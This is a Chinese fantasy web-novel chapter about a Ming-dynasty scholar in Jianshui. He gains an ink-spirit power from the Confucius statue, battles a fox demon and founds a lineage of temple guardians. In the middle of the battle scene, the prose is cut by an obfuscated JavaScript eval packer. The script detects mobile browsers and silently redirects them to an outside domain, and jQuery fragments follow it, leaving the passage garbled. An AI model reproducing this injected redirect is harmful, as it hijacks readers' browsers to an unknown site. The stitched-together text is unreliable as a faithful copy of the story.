110.墨魂夜课
作品:《南中月下行》 墨魂夜课
明永乐十六年,于滇南建水城春夜,文庙大成殿内,唯余值夜书生顾子砚一人值守。建水古城始建于唐代元和年间,古称步头,亦名巴甸。南诏政权于唐元和年间(810年前后)在此筑惠历城,惠历为古彝语,就是大海的意思,属通海都督。建水县在元代就始建庙学。明洪年间建临安府学,时有“临半榜”之称,即云南科举考试中榜者中,临安府就占了半数左右,堪称云南之冠,在全国变不多见。所以建水从来就有"文献名邦"、"滇南邹鲁"的美誉。
文庙殿宇高阔幽邃,穹顶吞没烛光,孔圣人泥塑静坐于神龛深处,彩漆剥落,面目于昏昧烛火下显得朦胧难辨。顾子砚伏案倦读,更漏将残,万籁俱寂中,似有尘埃自梁间悄然滑落,簌簌如细语。殿外风动古柏,枝叶磨搽之声宛若叹息。他揉着困涩双眼,不经意间抬头,目光骤然凝固——那泥塑圣人垂落膝上的广袖,竟似有云气隐生般微微飘拂了一瞬!
此时顾子砚心头剧震可想而知,寒意顿自脊骨升起。他凝神静气、屏住呼吸,疑是烛影摇曳所致,可定睛再看,那塑像低垂的双目,竟如深潭微澜般缓缓开启。那眸子深处无半分泥塑木雕的呆滞,竟似蕴着寒星秋水、映着浩渺星河,一种穿越千载的深邃目光,沉沉地落在了他身上。
“小子顾子砚,可愿承此道统?”
声音并非响彻殿宇,而是直接烙印于顾子砚的识海深处,如同古钟混杂着松涛,浑厚而又苍茫。顾子砚魂惊魄动,瑟瑟不已,双膝不由自主跪落于冰冷方砖之上,额头触地如捣蒜,喉头哽咽无声,只能勉强发出一个不成调的一个“愿”字。
神龛深处,泥塑的右手竟缓缓抬起,宽袖拂动间,积年的微尘在烛光中飞舞如金屑。那指端并无实物,却在虚空中轻轻一点。殿中供桌上,一方久置的残墨锭无风自动,凌空飞起,悬停在顾子砚面前寸许之处。墨锭通体幽暗,此刻却如内蕴活水般,流转起温润的乌光。
“墨非墨,乃文心之精魄,是正气之凝华。其质至柔,其性至坚,可通幽冥,可退邪妄。”孔圣人的声音如黄钟大吕,字字敲击顾子砚心神,“执此心,运此意,墨迹所至,如剑如城,如律如令!”
话音未落,那悬空的墨锭无声融化,化作一缕墨色流光,倏忽没入顾子砚摊开的掌心之中。只觉一股灼热之气瞬间自劳宫穴涌入,沿臂直贯心窍,并非焚毁之痛,倒似赤炭投入寒潭,激得他周身气血奔涌,神志清明。
电光火石之间,无数玄奥意念、古老符文、运墨行气之法门,如江河倒灌般涌入他脑海。恍惚间,他仿佛看见圣人口含天宪,笔走龙蛇。化雀、破晓、成竹、穿云。墨汁泼洒之间,竟如一场沛然甘霖,涤荡污浊。
待他惊魂初定,汗水浸透中衣,殿内烛火已复归平静,神龛上的塑像端凝如初,仿佛亘古未动,唯有掌心一点微不可察的墨印隐隐发热,证明方才种种神迹并非幻梦。
自此,顾子砚如痴如醉,日间诵习圣贤书,更深人静则悄然潜入文庙深处,以水研墨,以心运意,指尖蘸取墨汁,在青砖地面、斑驳粉墙上反复勾画。初时墨迹呆滞,不成章法。渐渐,笔下墨线竟在月华下泛起微弱的清辉,如活物般游走盘绕。他画一尾墨鲤,竟引得庭院小池中锦鳞跃水相和。他绘数竿墨竹,竟在夜风过处,枝叶摇曳之声清晰可闻。于是顾子砚擅墨魂之术,悄然在这滇南文枢之地四散开来。
建水城东,多是古窑旧坊,盛产紫陶。数月后,城中有一种怪病悄然蔓延。先是几家烧窑匠人子弟白日萎靡如失魂,夜来却双目赤红,低语喃喃,口齿间竟流出荒诞不经的异族古语。继而,城东关帝庙那口百年不竭的甜水井,竟在某个星月无光的子夜后,涌出腥臭如铁锈的红水。更骇人的是,几处荒废已久的古窑深处,深夜传出女子幽咽般的哭泣,风中每每飘来浓烈得化不开的狐臊,如无形之手扼住行人的咽喉。
顾子砚默察异象,心中疑云翻涌。一天夜里,他佯装伏案沉睡于书舍窗下。待三更梆响过,只觉一股冰冷酸腐的腥风,竟能穿透紧闭的窗棂缝隙,直灌入室。他强抑心跳,悄然尾随那股阴风潜行,引他至城东一片乱葬岗深处,但见几处被荒草掩埋大半的古旧陶窑洞口,磷火幽幽暗暗,绿光点点浮动。风中那凄厉的呜咽声愈发清晰,隐约可见数点幽绿狐火环绕着一座最高大的废窑洞口跳跃盘旋,洞口仿佛一张择人而噬的巨口,吞吐着阴寒之气。洞窟深处,一点红光倏忽一闪。顾子砚只觉一股妖气扑面袭来,几乎冻住血脉,他强运起胸中文气抵御,掌心那点墨印灼热起来时,方才稳住心神,慌得他不敢久留,悄然离去。
慢慢的,城中妖气日盛,已有数名壮丁离奇暴毙于废窑附近,尸身枯槁如遭吮髓。官府张贴榜文,悬赏能人异士除妖。顾子砚知是那妖物作祟,自觉正气使然,胸中墨魂灼烫,驱使他挺身而出。于是他勇敢揭下榜文,向官府直言需借文庙至阳正气为凭依,于月圆之夜设阵降妖。
是夜,皓月当空,清辉遍洒,文庙前庭开阔的青石地砖光洁如镜。顾子砚独自立于庭院中央,面前置一粗陶大碗,内盛清水如许。只见他深吸一口气,稳住心神,取出那方曾受圣灵点化的残墨,于碗中缓缓研磨。水色渐浓,墨香却清冽异常,非但不染浊气,反而在月光下腾起一圈圈若有若无的淡紫雾霭。他饱蘸浓墨,并指如剑,俯身挥毫。笔锋落于青石之上,竟铮然有声!墨迹非篆非隶,蜿蜒古朴苍劲,如星河落地,迅疾勾连出一个繁复玄奥的巨大符阵。每落下一笔,便有一道淡紫光华自墨线中升腾而起。大成殿内供奉的无数先儒牌位,此刻竟微微震颤共鸣,发出低沉如吟诵般的嗡鸣,汇成一股无形的千年文脉正气,注入阵中。整个文庙仿佛从沉睡中苏醒,檐角风铃无风自动,叮咚清响悠远,如金石相击。
阵成之时,四周狂风骤起,一片飞沙走石,浓郁的狐臊气味瞬间弥漫整个庭院,刺鼻难闻。一声尖利刺耳的狐啸撕裂夜空:“区区腐儒,安敢阻我乎!”月光陡然被一团翻滚的黑红妖云遮蔽,云中现出一头巨狐虚影,赤毛如焰,双目宛若两盏幽绿灯笼,射出贪婪凶戾的光芒。它挟着腥风,凌空扑下,利爪撕裂空气,直取阵心顾子砚天灵!
顾子砚心神俱凝,口诵圣贤箴言,声如金石坠地。他手中饱蘸浓墨的笔锋疾转,如使长枪大戟,凌空挥洒。墨汁泼出,竟于半空中凝聚成实,刹那间,一柄纯粹由凝练墨色构成的丈八长戈破空而出,戈身缠绕着淡紫电光,带着风雷呼啸之音,迎着妖狐的利爪狠狠劈斩过去!
“嗤啦——!”
墨戈与妖爪相撞,竟发出金铁相击般的刺耳锐响,爆开一蓬幽绿的妖火,巨狐顿时发出一声痛楚的厉啸,庞大虚影竟被墨戈劈得倒飞出去,撞在阵图边缘腾起的紫金光幕上,无数细小的古老文字符咒明灭闪烁,如满天星辰,与那浩然正气织成无形大网,将那妖物牢牢困锁其中。
那妖狐凶性被彻底激发,周身赤毛根根倒竖,幽绿双瞳凶光暴涨。它不再硬冲,反而绕着墨阵急速飞掠,身形快如鬼魅,留下道道残影。同时,它张开巨口,喷吐出一股污秽黑气。这黑气腥臭无比,甫一接触墨阵升腾的紫金光幕,竟发出“滋滋”的腐蚀之声,光幕随之剧烈波动、明灭不定,仿佛被剧毒侵蚀。黑气中更夹杂着无数扭曲的人面虚影,发出凄厉的哀嚎,直钻耳鼓,欲撼动顾子砚的心神。这些虚影正是被它吸食生魂后炼化的邪毒怨煞!
顾子砚顿感压力如山,阵图动摇,心神亦被那万千怨魂的尖啸冲击得气血翻腾。他弃笔不用,双手十指尽染浓墨,以指为笔,以身为轴,在阵眼处急速游走踏罡,指端墨光如电,疾速点向阵图各处枢要。每一指点落,那处墨线便轰然爆发出更炽盛的紫金光芒,如添薪续火。
与此同时,他口中朗声长吟,诵的正是《论语》中“志士仁人,无求生以害仁,有杀身以成仁”的浩然篇章。声浪与墨光相激。
文庙内千年文枢积累的磅礴正气被阵法彻底引动,众人只见墨阵光华大盛,无数道由纯粹文气与墨魂凝聚成的身影自阵中、自大殿深处、自建水文脉汇聚之地升腾而起。他们或峨冠博带,或布衣青衫,或捧简牍,或持书卷,虽面目模糊,但那股刚正不阿、守护斯文的气韵却贯通古今,凝若实质。万千儒魂虚影齐声吟诵,声浪汇成一股摧枯拉朽的洪流,裹挟着紫金雷火般的墨魂正气,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803277|171305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如怒海狂涛,汹涌澎湃地卷向阵中妖狐!
“吼——!”
妖狐周身护体的污秽黑气刚触碰到这浩然洪流,它就发出惊骇欲绝的凄厉惨嚎,那怨魂之气如沸汤泼雪,瞬间消融蒸发。赤红如焰的皮毛寸寸焦枯剥落,庞大身躯在至纯至正的罡力冲击下被死死压制在阵图核心,动弹不得。它幽绿的双瞳死死盯着阵外全力施为的顾子砚,充满了深深的恐惧。
“文庙墨魂聚千年正气,岂是尔等邪祟可破?!”顾子砚须发皆张,声如惊雷。他蘸尽碗中最后一滴浓墨,倾尽全力,朝着阵中那团挣扎扭曲的赤影,凌空狠狠一划!
一道紫墨剑光,无声无息却又快逾闪电,瞬间洞穿了妖狐虚影的核心!
“呜——!”
一声悠长凄绝的狐啸响彻云霄,随即戛然而止。阵中那团赤影猛地爆开,化作漫天赤色烟尘,腥臭扑鼻。烟尘中,隐约可见一点黯淡残破的赤红妖魂,如风中残烛,仓皇无比地朝着城东古窑群的方向遁逃,瞬间消失在茫茫夜色之中。
终于云淡风轻,那遮蔽明月的妖气尽数散去,清辉复又洒满庭院。文庙前庭一片狼藉,唯有那以青石为纸、浓墨为骨的巨大符阵,依旧在月光下浮动着淡淡紫意。檐角风铃又轻轻响起,余音袅袅。大成殿深处,那尊孔圣人塑像周身萦绕的玉色光华也渐渐收敛,复归沉静庄严,唯有那微阖的双目,仿佛比往日更添一分难以言喻的温和。
此时顾子砚早已力竭,他以手撑地,喘息如风箱鸣唱。掌心那点墨印,却是滚烫依旧,似与脚下这片浸润了千年斯文的土地,与身后那座肃穆的大殿,产生了一种血脉相连的悸动。
赤狐虽得逃遁,其残魂潜藏于建水古窑深处,如附骨之疽。顾子砚余生,便如磐石般扎根于文庙。白日授业解惑,青衫磊落,传道于莘莘学子。夜深人静,则独对星月,于大成殿前青石之上,反复锤炼那墨魂之术。墨迹所至之处,或化无形之障,悄然弥散于墙垣梁柱之间。或凝成细密符文,隐入砖缝阶石之内。
经年累月,整座文庙竟被他以无形墨魂织成一张绵密坚韧的护佑之网,偶有阴晦邪气自城东古窑方向试探性地飘来,才一触及文庙边界,便如冰雪遇烈阳,发出极细微的“滋滋”声,顷刻消散于无形。文庙的琉璃瓦顶,在滇南灼灼烈日下,始终流转着一层常人难辨的温润清光。
岁月如建水穿城而过的溪流,奔流不息。顾子砚不觉已鬓染清霜,渐成文庙耆究。于临终之际,他将一方用油纸仔细包裹、仅余拇指大小的漆黑残墨,郑重置于一个紫砂小匣中。榻前,唯有一名家境贫寒却心性坚毅的少年侍奉在侧。老人枯瘦的手指颤巍巍抚过匣上的紫砂纹路,声音虽嘶哑却字字清晰:
“此非墨,乃吾文庙之胆魄,正气之精魂。承此物,守此心,护此千年斯文之地,邪祟自远……慎之,用之,传之……”
言毕,顾子砚气息渐微,阖然长逝而去。少年含泪捧起那紫砂小匣,入手温润微沉,似有暖流隐隐透入掌心。
那日起,文庙便多了一条不成文的传承:每代择一心志纯正、禀赋特殊的守庙人,于深寂之夜,悄然继受那墨魂之术与匣中残墨。
数百年间,滇南并非太平无事,边陲之地,山精野魅之流时有所闻,更有战乱兵燹带来的血腥戾气。然凡有邪异阴祟之气试图侵染建水文庙,无论来自深山古泽,抑或是人世血腥兵戈,庙宇周遭必先有清冽墨香无端弥漫。继而,或见殿前古柏无风自动,枝叶如铁笔横扫。或闻深宵檐角风铃急响,其声清越如剑鸣。更有守庙值夜者曾见,月光清朗之时,大成殿前青石地砖上,有淡紫光纹结成玄奥阵图,一现即隐。无论何等妖息邪气,往往未及侵入庙墙,便在这无声的墨魂守护下冰消瓦解。
岁月轮转,朝代更迭。文庙历经风雨,殿阁或有修葺彩绘,砖石或曾替换增补,然那份沉淀于砖木深处的墨魂正气,却如陈年老酒,愈久愈醇。那株相传植于唐代、虬枝如铁的古老柏树,依旧巍然挺立于大成殿前。
夜风拂过,庭中那株千年古柏的枝叶,在月下发出低沉而舒缓的沙沙声,宛若一声穿越漫长时光、欣慰而悠长的叹息。